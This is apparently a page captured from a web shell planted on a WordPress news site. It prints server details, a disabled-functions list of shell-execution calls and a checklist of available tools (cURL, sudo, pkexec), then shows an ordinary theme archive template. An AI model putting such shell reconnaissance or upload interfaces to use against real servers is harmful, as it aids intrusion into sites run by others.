AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK
| Server IP : dzynews.com / Your IP : 216.73.217.105 Web Server : nginx/1.30.3 System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 User : www ( 1000) PHP Version : 8.2.31 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/ |
Upload File : |
<?php
/**
* 存档页面
*/
get_header();
$term = get_queried_object();
$show_sidebar = isset($term->term_id) ? get_term_meta($term->term_id,'b2_show_sidebar',true) : false;
$tax = isset($term->taxonomy) ? $term->taxonomy : 'normal';
?>
<?php do_action('b2_archive_'.$tax.'_top'); ?>
<div class="b2-single-content wrapper <?php echo $tax; echo $show_sidebar ? ' single-sidebar-show' : ' single-sidebar-hidden'; ?> ">
<?php do_action('b2_archive_'.$tax.'_before'); ?>
<div id="primary-home" class="content-area">
<?php
do_action('b2_archive_'.$tax.'_content_before');
if($tax){
get_template_part( 'TempParts/Archive/content',$tax);
}else{
while ( have_posts() ) :
the_post();
get_template_part( 'TempParts/content', get_post_type() );
endwhile;
}
do_action('b2_archive_'.$tax.'_content_after');
?>
</div>
<?php do_action('b2_archive_'.$tax.'_after'); ?>
<?php
if($show_sidebar)
get_sidebar();
?>
</div>
<?php
get_footer();